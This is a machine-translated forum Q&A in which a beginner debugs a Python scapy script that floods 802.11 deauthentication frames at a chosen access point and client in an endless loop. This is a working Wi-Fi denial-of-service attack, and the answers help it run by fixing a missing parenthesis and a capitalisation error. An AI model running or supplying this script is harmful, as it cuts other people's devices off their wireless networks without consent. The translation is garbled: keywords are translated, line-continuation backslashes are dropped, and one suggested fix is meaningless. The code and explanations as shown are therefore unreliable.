python3和2.7.6在while^True时给我语法错误



所以我正在测试这段代码(我对python还很陌生),但我试着用python2.7.6和python3运行它,它们都给了我这个错误

而True:^SyntaxError:语法无效

(箭头指向while)

这是代码

import time
from scapy.all import *
iface = "mon0"
timeout = 1
if len(sys.argv) < 2:
 print (sys.argv[0] + " <bssid> [client]")
 sys.exit(0)
else:
 bssid = sys.argv[1]
if len(sys.argv) == 3:
 dest = sys.argv[2]
else:
 dest = "ff:ff:ff:ff:ff:ff"
pkt = radioTap() / 
 Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid / 
 Dot11Deauth(reason=3)

while True:
 print ("Sending deauth to " + dest)
 sendp(pkt,iface=iface)
 time.sleep(timeout)

如果有人也能解释python中"/\"的作用,我将心存感激。

干杯

这样尝试:

while (True):
 print ("Sending deauth to " + dest)
 sendp(pkt,iface=iface)
 time.sleep(timeout)

右括号缺少

pkt = radioTap() / 
 Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid) / 
 Dot11Deauth(reason=3)

符号用于将一条较长的线分成较短的线,如

if a == True and 
   b == False

操作员/scapy包中过载

/运算符已被用作两层之间的合成运算符。这样做时,下层可以根据上层重载一个或多个默认字段。(你仍然可以给出你想要的值)。

还有一个键入错误:RadioTap()应该以大写R开头!

最新更新